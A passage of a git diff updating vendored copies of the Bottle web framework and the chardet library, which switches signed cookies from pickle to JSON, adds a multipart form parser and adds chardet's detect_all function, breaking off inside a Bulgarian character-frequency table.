set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **optio expire at the end of the browser session (as soon as the browser window is closed). - Signed cookies may store any pickle-able object and are + Signed cookies may store any JSON-serializable object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers. - Warning: Pickle is a potentially dangerous format. If an attacker - gains access to the secret key, he could forge cookies that execute - code on server side if unpickled. Using pickle is discouraged and - support for it will be removed in later versions of bottle. + Warning: If an attacker gains access to the secret key, he could + forge arbitrary cookies. Prefer storing only plain strings and, if + possible, keep session data server-side instead of in cookies. Warning: Signed cookies are not encrypted (the client can still see the content) and not copy-protected (the client can restore an old @@ -1863,10 +1860,10 @@ def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **optio if secret: if not isinstance(value, basestring): - depr(0, 13, "Pickling of arbitrary objects into cookies is " + depr(0, 13, "Storing non-string objects into cookies is " "deprecated.", "Only store strings in cookies. " "JSON strings are fine, too.") - encoded = base64.b64encode(pickle.dumps([name, value], -1)) + encoded = base64.b64encode(tob(json_dumps([name, value]))) sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=digestmod).digest()) value = touni(tob('!') + sig + tob('?') + encoded) @@ -1955,10 +1952,18 @@ class LocalResponse(BaseResponse): class HTTPResponse(Response, BottleException): + """ A subclass of :class:`Response` that can be raised or returned from request + handlers to short-curcuit request processing and override changes made to the + global :data:`request` object. This bypasses error handlers, even if the status + code indicates an error. Return or raise :class:`HTTPError` to trigger error + handlers. + """ + def __init__(self, body='', status=None, headers=None, **more_headers): super(HTTPResponse, self).__init__(body, status, headers, **more_headers) def apply(self, other): + """ Copy the state of this response to a different :class:`Response` object. """ other._status_code = self._status_code other._status_line = self._status_line other._headers = self._headers @@ -1967,6 +1972,8 @@ def apply(self, other): class HTTPError(HTTPResponse): + """ A subclass of :class:`HTTPResponse` that triggers error handlers. """ + default_status = 500 def __init__(self, @@ -2010,6 +2017,7 @@ def apply(self, callback, route): dumps = self.json_dumps if not self.json_dumps: return callback + @functools.wraps(callback) def wrapper(*a, **ka): try: rv = callback(*a, **ka) @@ -2057,7 +2065,7 @@ def __init__(self, name, impmask): """ Create a virtual package that redirects imports (see PEP 302). """ self.name = name self.impmask = impmask - self.module = sys.modules.setdefault(name, imp.new_module(name)) + self.module = sys.modules.setdefault(name, new_module(name)) self.module.__dict__.update({ '__file__': __file__, '__path__': [], @@ -2066,12 +2074,23 @@ def __init__(self, name, impmask): }) sys.meta_path.append(self) + def find_spec(self, fullname, path, target=None): + if '.' not in fullname: return + if fullname.rsplit('.', 1)[0] != self.name: return + from importlib.util import spec_from_loader + return spec_from_loader(fullname, self) + def find_module(self, fullname, path=None): if '.' not in fullname: return - packname = fullname.rsplit('.', 1)[0] - if packname != self.name: return + if fullname.rsplit('.', 1)[0] != self.name: return return self + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass # This probably breaks importlib.reload() :/ + def load_module(self, fullname): if fullname in sys.modules: return sys.modules[fullname] modname = fullname.rsplit('.', 1)[1] @@ -2231,7 +2250,7 @@ def getunicode(self, name, default=None, encoding=None): return default def __getattr__(self, name, default=unicode()): - # Without this guard, pickle generates a cryptic TypeError: + # Without this guard, dunder attribute probing generates a cryptic TypeError: if name.startswith('__') and name.endswith('__'): return super(FormsDict, self).__getattr__(name) return self.getunicode(name, default=default) @@ -2337,10 +2356,10 @@ def __contains__(self, key): class ConfigDict(dict): """ A dict-like configuration storage with additional support for - namespaces, validators, meta-data, overlays and more. + namespaces, validators, meta-data and overlays. - This dict-like class is heavily optimized for read access. All read-only - methods as well as item access should be as fast as the built-in dict. + This dict-like class is heavily optimized for read access. + Read-only methods and item access should be as fast as a native dict. """ __slots__ = ('_meta', '_change_listener', '_overlays', '_virtual_keys', '_source', '__weakref__') @@ -2355,29 +2374,19 @@ def __init__(self): #: Keys of values copied from the source (values we do not own) self._virtual_keys = set() - def load_module(self, path, squash=True): + def load_module(self, name, squash=True): """Load values from a Python module. - Example modue ``config.py``:: - - DEBUG = True - SQLITE = { - "db": ":memory:" - } - - - >>> c = ConfigDict() - >>> c.load_module('config') - {DEBUG: True, 'SQLITE.DB': 'memory'} - >>> c.load_module("config", False) - {'DEBUG': True, 'SQLITE': {'DB': 'memory'}} + Import a python module by name and add all upper-case module-level + variables to this config dict. - :param squash: If true (default), dictionary values are assumed to - represent namespaces (see :meth:`load_dict`). + :param name: Module name to import and load. + :param squash: If true (default), nested dicts are assumed to + represent namespaces and flattened (see :meth:`load_dict`). """ - config_obj = load(path) - obj = {key: getattr(config_obj, key) for key in dir(config_obj) - if key.isupper()} + config_obj = load(name) + obj = {key: getattr(config_obj, key) + for key in dir(config_obj) if key.isupper()} if squash: self.load_dict(obj) @@ -2386,28 +2395,15 @@ def load_module(self, path, squash=True): return self def load_config(self, filename, **options): - """ Load values from an ``*.ini`` style config file. - - A configuration file consists of sections, each led by a - ``[section]`` header, followed by key/value entries separated by - either ``=`` or ``:``. Section names and keys are case-insensitive. - Leading and trailing whitespace is removed from keys and values. - Values can be omitted, in which case the key/value delimiter may - also be left out. Values can also span multiple lines, as long as - they are indented deeper than the first line of the value. Commands - are prefixed by ``#`` or ``;`` and may only appear on their own on - an otherwise empty line. - - Both section and key names may contain dots (``.``) as namespace - separators. The actual configuration parameter name is constructed - by joining section name and key name together and converting to - lower case. - - The special sections ``bottle`` and ``ROOT`` refer to the root - namespace and the ``DEFAULT`` section defines default values for all - other sections. + """ Load values from ``*.ini`` style config files using configparser. + + INI style sections (e.g. ``[section]``) are used as namespace for + all keys within that section. Both section and key names may contain + dots as namespace separators and are converted to lower-case. - With Python 3, extended string interpolation is enabled. + The special sections ``[bottle]`` and ``[ROOT]`` refer to the root + namespace and the ``[DEFAULT]`` section defines default values for all + other sections. :param filename: The path of a config file, or a list of paths. :param options: All keyword parameters are passed to the underlying @@ -2461,7 +2457,7 @@ def update(self, *a, **ka): for key, value in dict(*a, **ka).items(): self[prefix + key] = value - def setdefault(self, key, value): + def setdefault(self, key, value=None): if key not in self: self[key] = value return self[key] @@ -2499,8 +2495,7 @@ def __delitem__(self, key): overlay._delete_virtual(key) def _set_virtual(self, key, value): - """ Recursively set or update virtual keys. Do nothing if non-virtual - value is present. """ + """ Recursively set or update virtual keys. """ if key in self and key not in self._virtual_keys: return # Do nothing for non-virtual keys. @@ -2512,8 +2507,7 @@ def _set_virtual(self, key, value): overlay._set_virtual(key, value) def _delete_virtual(self, key): - """ Recursively delete virtual entry. Do nothing if key is not virtual. - """ + """ Recursively delete virtual entry. """ if key not in self._virtual_keys: return # Do nothing for non-virtual keys. @@ -2538,7 +2532,10 @@ def meta_get(self, key, metafield, default=None): return self._meta.get(key, {}).get(metafield, default) def meta_set(self, key, metafield, value): - """ Set the meta field for a key to a new value. """ + """ Set the meta field for a key to a new value. + + Meta-fields are shared between all members of an overlay tree. + """ self._meta.setdefault(key, {})[metafield] = value def meta_list(self, key): @@ -2739,7 +2736,7 @@ def open(self, name, mode='r', *args, **kwargs): class FileUpload(object): def __init__(self, fileobj, name, filename, headers=None): - """ Wrapper for file uploads. """ + """ Wrapper for a single file uploaded via ``multipart/form-data``. """ #: Open file(-like) object (BytesIO buffer or temporary file) self.file = fileobj #: Name of the upload form field @@ -2825,18 +2822,15 @@ def redirect(url, code=None): raise res -def _file_iter_range(fp, offset, bytes, maxread=1024 * 1024, close=False): - """ Yield chunks from a range in a file, optionally closing it at the end. - No chunk is bigger than maxread. """ +def _rangeiter(fp, offset, limit, bufsize=1024 * 1024): + """ Yield chunks from a range in a file. """ fp.seek(offset) - while bytes > 0: - part = fp.read(min(bytes, maxread)) + while limit > 0: + part = fp.read(min(limit, bufsize)) if not part: break - bytes -= len(part) + limit -= len(part) yield part - if close: - fp.close() def static_file(filename, root, @@ -2874,12 +2868,12 @@ def static_file(filename, root, ``If-None-Match``) are answered with ``304 Not Modified`` whenever possible. ``HEAD`` and ``Range`` requests (used by download managers to check or continue partial downloads) are also handled automatically. - """ root = os.path.join(os.path.abspath(root), '') filename = os.path.abspath(os.path.join(root, filename.strip('/\\'))) headers = headers.copy() if headers else {} + getenv = request.environ.get if not filename.startswith(root): return HTTPError(403, "Access denied.") @@ -2889,31 +2883,32 @@ def static_file(filename, root, return HTTPError(403, "You do not have permission to access this file.") if mimetype is True: - if download and download is not True: - mimetype, encoding = mimetypes.guess_type(download) - else: - mimetype, encoding = mimetypes.guess_type(filename) - if encoding: - headers['Content-Encoding'] = encoding + name = download if isinstance(download, str) else filename + mimetype, encoding = mimetypes.guess_type(name) + if encoding == 'gzip': + mimetype = 'application/gzip' + elif encoding: # e.g. bzip2 -> application/x-bzip2 + mimetype = 'application/x-' + encoding + + if charset and mimetype and 'charset=' not in mimetype \ + and (mimetype[:5] == 'text/' or mimetype == 'application/javascript'): + mimetype += '; charset=%s' % charset if mimetype: - if (mimetype[:5] == 'text/' or mimetype == 'application/javascript')\ - and charset and 'charset' not in mimetype: - mimetype += '; charset=%s' % charset headers['Content-Type'] = mimetype + if download is True: + download = os.path.basename(filename) + if download: - download = os.path.basename(filename if download is True else download) + download = download.replace('"','') headers['Content-Disposition'] = 'attachment; filename="%s"' % download stats = os.stat(filename) headers['Content-Length'] = clen = stats.st_size - headers['Last-Modified'] = email.utils.formatdate(stats.st_mtime, - usegmt=True) + headers['Last-Modified'] = email.utils.formatdate(stats.st_mtime, usegmt=True) headers['Date'] = email.utils.formatdate(time.time(), usegmt=True) - getenv = request.environ.get - if etag is None: etag = '%d:%d:%d:%d:%s' % (stats.st_dev, stats.st_ino, stats.st_mtime, clen, filename) @@ -2940,9 +2935,10 @@ def static_file(filename, root, if not ranges: return HTTPError(416, "Requested Range Not Satisfiable") offset, end = ranges[0] + rlen = end - offset headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end - 1, clen) - headers["Content-Length"] = str(end - offset) - if body: body = _file_iter_range(body, offset, end - offset, close=True) + headers["Content-Length"] = str(rlen) + if body: body = _closeiter(_rangeiter(body, offset, rlen), body.close) return HTTPResponse(body, status=206, **headers) return HTTPResponse(body, **headers) @@ -3030,7 +3026,7 @@ def _parse_http_header(h): values.append((parts[0].strip(), {})) for attr in parts[1:]: name, value = attr.split('=', 1) - values[-1][1][name.strip()] = value.strip() + values[-1][1][name.strip().lower()] = value.strip() else: lop, key, attrs = ',', None, {} for quoted, plain, tok in _hsplit(h): @@ -3042,9 +3038,9 @@ def _parse_http_header(h): if tok == '=': key = value else: - attrs[value] = '' + attrs[value.strip().lower()] = '' elif lop == '=' and key: - attrs[key] = value + attrs[key.strip().lower()] = value key = None lop = tok return values @@ -3070,11 +3066,11 @@ def _lscmp(a, b): def cookie_encode(data, key, digestmod=None): - """ Encode and sign a pickle-able object. Return a (byte) string """ + """ Encode and sign a JSON-serializable object. Return a (byte) string """ depr(0, 13, "cookie_encode() will be removed soon.", "Do not use this API directly.") digestmod = digestmod or hashlib.sha256 - msg = base64.b64encode(pickle.dumps(data, -1)) + msg = base64.b64encode(tob(json_dumps(data))) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=digestmod).digest()) return tob('!') + sig + tob('?') + msg @@ -3089,7 +3085,7 @@ def cookie_decode(data, key, digestmod=None): digestmod = digestmod or hashlib.sha256 hashed = hmac.new(tob(key), msg, digestmod=digestmod).digest() if _lscmp(sig[1:], base64.b64encode(hashed)): - return pickle.loads(base64.b64decode(msg)) + return json_loads(base64.b64decode(msg)) return None @@ -3209,6 +3205,255 @@ def wrapper(*a, **ka): uninstall = make_default_app_wrapper('uninstall') url = make_default_app_wrapper('get_url') + +############################################################################### +# Multipart Handling ########################################################### +############################################################################### +# cgi.FieldStorage was deprecated in Python 3.11 and removed in 3.13 +# This implementation is based on https://github.com/defnull/multipart/ + + +class MultipartError(HTTPError): + def __init__(self, msg): + HTTPError.__init__(self, 400, "MultipartError: " + msg) + + +class _MultipartParser(object): + def __init__( + self, + stream, + boundary, + content_length=-1, + disk_limit=2 ** 30, + mem_limit=2 ** 20, + memfile_limit=2 ** 18, + buffer_size=2 ** 16, + charset="latin1", + ): + self.stream = stream + self.boundary = boundary + self.content_length = content_length + self.disk_limit = disk_limit + self.memfile_limit = memfile_limit + self.mem_limit = min(mem_limit, self.disk_limit) + self.buffer_size = min(buffer_size, self.mem_limit) + self.charset = charset + + if not boundary: + raise MultipartError("No boundary.") + + if self.buffer_size - 6 < len(boundary): # "--boundary--\r\n" + raise MultipartError("Boundary does not fit into buffer_size.") + + def _lineiter(self): + """ Iterate over a binary file-like object (crlf terminated) line by + line. Each line is returned as a (line, crlf) tuple. Lines larger + than buffer_size are split into chunks where all but the last chunk + has an empty string instead of crlf. Maximum chunk size is twice the + buffer size. + """ + + read = self.stream.read + maxread, maxbuf = self.content_length, self.buffer_size + partial = b"" # Contains the last (partial) line + + while True: + chunk = read(maxbuf if maxread < 0 else min(maxbuf, maxread)) + maxread -= len(chunk) + if not chunk: + if partial: + yield partial, b'' + break + + if partial: + chunk = partial + chunk + + scanpos = 0 + while True: + i = chunk.find(b'\r\n', scanpos) + if i >= 0: + yield chunk[scanpos:i], b'\r\n' + scanpos = i + 2 + else: # CRLF not found + partial = chunk[scanpos:] if scanpos else chunk + break + + if len(partial) > maxbuf: + yield partial[:-1], b"" + partial = partial[-1:] + + def parse(self): + """ Return a MultiPart iterator. Can only be called once. """ + + lines, line = self._lineiter(), "" + separator = b"--" + tob(self.boundary) + terminator = separator + b"--" + mem_used, disk_used = 0, 0 # Track used resources to prevent DoS + is_tail = False # True if the last line was incomplete (cutted) + + # Consume first boundary. Ignore any preamble, as required by RFC + # 2046, section 5.1.1. + for line, nl in lines: + if line in (separator, terminator): + break + else: + raise MultipartError("Stream does not contain boundary") + + # First line is termainating boundary -> empty multipart stream + if line == terminator: + for _ in lines: + raise MultipartError("Found data after empty multipart stream") + return + + part_options = { + "buffer_size": self.buffer_size, + "memfile_limit": self.memfile_limit, + "charset": self.charset, + } + part = _MultipartPart(**part_options) + + for line, nl in lines: + if not is_tail and (line == separator or line == terminator): + part.finish() + if part.is_buffered(): + mem_used += part.size + else: + disk_used += part.size + yield part + if line == terminator: + break + part = _MultipartPart(**part_options) + else: + is_tail = not nl # The next line continues this one + try: + part.feed(line, nl) + if part.is_buffered(): + if part.size + mem_used > self.mem_limit: + raise MultipartError("Memory limit reached.") + elif part.size + disk_used > self.disk_limit: + raise MultipartError("Disk limit reached.") + except MultipartError: + part.close() + raise + else: + part.close() + + if line != terminator: + raise MultipartError("Unexpected end of multipart stream.") + + +class _MultipartPart(object): + def __init__(self, buffer_size=2 ** 16, memfile_limit=2 ** 18, charset="latin1"): + self.headerlist = [] + self.headers = None + self.file = False + self.size = 0 + self._buf = b"" + self.disposition = None + self.name = None + self.filename = None + self.content_type = None + self.charset = charset + self.memfile_limit = memfile_limit + self.buffer_size = buffer_size + + def feed(self, line, nl=""): + if self.file: + return self.write_body(line, nl) + return self.write_header(line, nl) + + def write_header(self, line, nl): + line = line.decode(self.charset) + + if not nl: + raise MultipartError("Unexpected end of line in header.") + + if not line.strip(): # blank line -> end of header segment + self.finish_header() + elif line[0] in " \t" and self.headerlist: + name, value = self.headerlist.pop() + self.headerlist.append((name, value + line.strip())) + else: + if ":" not in line: + raise MultipartError("Syntax error in header: No colon.") + + name, value = line.split(":", 1) + self.headerlist.append((name.strip(), value.strip())) + + def write_body(self, line, nl): + if not line and not nl: + return # This does not even flush the buffer + + self.size += len(line) + len(self._buf) + self.file.write(self._buf + line) + self._buf = nl + + if self.content_length > 0 and self.size > self.content_length: + raise MultipartError("Size of body exceeds Content-Length header.") + + if self.size > self.memfile_limit and isinstance(self.file, BytesIO): + self.file, old = NamedTemporaryFile(mode="w+b"), self.file + old.seek(0) + + copied, maxcopy, chunksize = 0, self.size, self.buffer_size + read, write = old.read, self.file.write + while copied < maxcopy: + chunk = read(min(chunksize, maxcopy - copied)) + write(chunk) + copied += len(chunk) + + def finish_header(self): + self.file = BytesIO() + self.headers = HeaderDict(self.headerlist) + content_disposition = self.headers.get("Content-Disposition") + content_type = self.headers.get("Content-Type") + + if not content_disposition: + raise MultipartError("Content-Disposition header is missing.") + + self.disposition, self.options = _parse_http_header(content_disposition)[0] + self.name = self.options.get("name") + if "filename" in self.options: + self.filename = self.options.get("filename") + if self.filename[1:3] == ":\\" or self.filename[:2] == "\\\\": + self.filename = self.filename.split("\\")[-1] # ie6 bug + + self.content_type, options = _parse_http_header(content_type)[0] if content_type else (None, {}) + self.charset = options.get("charset") or self.charset + + self.content_length = int(self.headers.get("Content-Length", "-1")) + + def finish(self): + if not self.file: + raise MultipartError("Incomplete part: Header section not closed.") + self.file.seek(0) + + def is_buffered(self): + """ Return true if the data is fully buffered in memory.""" + return isinstance(self.file, BytesIO) + + @property + def value(self): + """ Data decoded with the specified charset """ + + return self.raw.decode(self.charset) + + @property + def raw(self): + """ Data without decoding """ + pos = self.file.tell() + self.file.seek(0) + + try: + return self.file.read() + finally: + self.file.seek(pos) + + def close(self): + if self.file: + self.file.close() + self.file = False + ############################################################################### # Server Adapter ############################################################### ############################################################################### @@ -3359,7 +3604,7 @@ def run(self, handler): class FapwsServer(ServerAdapter): - """ Extremely fast webserver using libev. See http://www.fapws.org/ """ + """ Extremely fast webserver using libev. See https://github.com/william-os4y/fapws3 """ def run(self, handler): # pragma: no cover depr(0, 13, "fapws3 is not maintained and support will be dropped.") @@ -4276,7 +4521,7 @@ def wrapper(*args, **kwargs): tplvars.update(result) return template(tpl_name, **tplvars) elif result is None: - return template(tpl_name, defaults) + return template(tpl_name, **defaults) return result return wrapper @@ -4425,5 +4670,9 @@ def _cli_error(cli_msg): config=config) -if __name__ == '__main__': # pragma: no coverage +def main(): _main(sys.argv) + + +if __name__ == '__main__': # pragma: no coverage + main() diff --git a/thirdparty/chardet/__init__.py b/thirdparty/chardet/__init__.py index 0f9f820ef6e..80ad2546d79 100644 --- a/thirdparty/chardet/__init__.py +++ b/thirdparty/chardet/__init__.py @@ -16,11 +16,14 @@ ######################### END LICENSE BLOCK ######################### -from .compat import PY2, PY3 from .universaldetector import UniversalDetector +from .enums import InputState from .version import __version__, VERSION +__all__ = ['UniversalDetector', 'detect', 'detect_all', '__version__', 'VERSION'] + + def detect(byte_str): """ Detect the encoding of the given byte string. @@ -31,9 +34,50 @@ def detect(byte_str): if not isinstance(byte_str, bytearray): if not isinstance(byte_str, bytes): raise TypeError('Expected object of type bytes or bytearray, got: ' - '{0}'.format(type(byte_str))) + '{}'.format(type(byte_str))) else: byte_str = bytearray(byte_str) detector = UniversalDetector() detector.feed(byte_str) return detector.close() + + +def detect_all(byte_str): + """ + Detect all the possible encodings of the given byte string. + + :param byte_str: The byte sequence to examine. + :type byte_str: ``bytes`` or ``bytearray`` + """ + if not isinstance(byte_str, bytearray): + if not isinstance(byte_str, bytes): + raise TypeError('Expected object of type bytes or bytearray, got: ' + '{}'.format(type(byte_str))) + else: + byte_str = bytearray(byte_str) + + detector = UniversalDetector() + detector.feed(byte_str) + detector.close() + + if detector._input_state == InputState.HIGH_BYTE: + results = [] + for prober in detector._charset_probers: + if prober.get_confidence() > detector.MINIMUM_THRESHOLD: + charset_name = prober.charset_name + lower_charset_name = prober.charset_name.lower() + # Use Windows encoding name instead of ISO-8859 if we saw any + # extra Windows-specific bytes + if lower_charset_name.startswith('iso-8859'): + if detector._has_win_bytes: + charset_name = detector.ISO_WIN_MAP.get(lower_charset_name, + charset_name) + results.append({ + 'encoding': charset_name, + 'confidence': prober.get_confidence(), + 'language': prober.language, + }) + if len(results) > 0: + return sorted(results, key=lambda result: -result['confidence']) + + return [detector.result] diff --git a/thirdparty/chardet/charsetgroupprober.py b/thirdparty/chardet/charsetgroupprober.py index 8b3738efd8e..5812cef0b59 100644 --- a/thirdparty/chardet/charsetgroupprober.py +++ b/thirdparty/chardet/charsetgroupprober.py @@ -73,6 +73,7 @@ def feed(self, byte_str): continue if state == ProbingState.FOUND_IT: self._best_guess_prober = prober + self._state = ProbingState.FOUND_IT return self.state elif state == ProbingState.NOT_ME: prober.active = False diff --git a/thirdparty/chardet/compat.py b/thirdparty/chardet/compat.py index ddd74687c02..8941572b3e6 100644 --- a/thirdparty/chardet/compat.py +++ b/thirdparty/chardet/compat.py @@ -25,10 +25,12 @@ if sys.version_info < (3, 0): PY2 = True PY3 = False - base_str = (str, unicode) + string_types = (str, unicode) text_type = unicode + iteritems = dict.iteritems else: PY2 = False PY3 = True - base_str = (bytes, str) + string_types = (bytes, str) text_type = str + iteritems = dict.items diff --git a/thirdparty/chardet/langbulgarianmodel.py b/thirdparty/chardet/langbulgarianmodel.py index 2aa4fb2e22f..89666872d14 100644 --- a/thirdparty/chardet/langbulgarianmodel.py +++ b/thirdparty/chardet/langbulgarianmodel.py @@ -1,228 +1,4650 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### +#!/usr/bin/env python +# -*- coding: utf-8 -*- -# 255: Control characters that usually does not exist in any text -# 254: Carriage/Return -# 253: symbol (punctuation) that does not belong to word -# 252: 0 - 9 +from .sbcharsetprober import SingleByteCharSetModel -# Character Mapping Table: -# this table is modified base on win1251BulgarianCharToOrderMap, so -# only number <64 is sure valid -Latin5_BulgarianCharToOrderMap = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82, # 40 -110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253, # 50 -253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71, # 60 -116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253, # 70 -194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209, # 80 -210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225, # 90 - 81,226,227,228,229,230,105,231,232,233,234,235,236, 45,237,238, # a0 - 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30, # b0 - 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,239, 67,240, 60, 56, # c0 - 1, 18, 9, 20, 11, 3, 23, 15, 2, 26, 12, 10, 14, 6, 4, 13, # d0 - 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,241, 42, 16, # e0 - 62,242,243,244, 58,245, 98,246,247,248,249,250,251, 91,252,253, # f0 -) +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative -win1251BulgarianCharToOrderMap = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82, # 40 -110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253, # 50 -253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71, # 60 -116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253, # 70 -206,207,208,209,210,211,212,213,120,214,215,216,217,218,219,220, # 80 -221, 78, 64, 83,121, 98,117,105,222,223,224,225,226,227,228,229, # 90 - 88,230,231,232,233,122, 89,106,234,235,236,237,238, 45,239,240, # a0 - 73, 80,118,114,241,242,243,244,245, 62, 58,246,247,248,249,250, # b0 - 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30, # c0 - 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,251, 67,252, 60, 56, # d0 - 1, 18, 9, 20, 11, 3, 23, 15, 2, 26, 12, 10, 14, 6, 4, 13, # e0 - 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,253, 42, 16, # f0 -) +BULGARIAN_LANG_MODEL = { + 63: { # 'e' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 1, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 1, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 45: { # '\xad' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 1, # 'М' + 36: 0, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 31: { # 'А' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 2, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 1, # 'К' + 46: 2, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 1, # 'О' + 30: 2, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 2, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 1, # 'е' + 23: 1, # 'ж' + 15: 2, # 'з' + 2: 0, # 'и' + 26: 2, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 0, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 1, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 32: { # 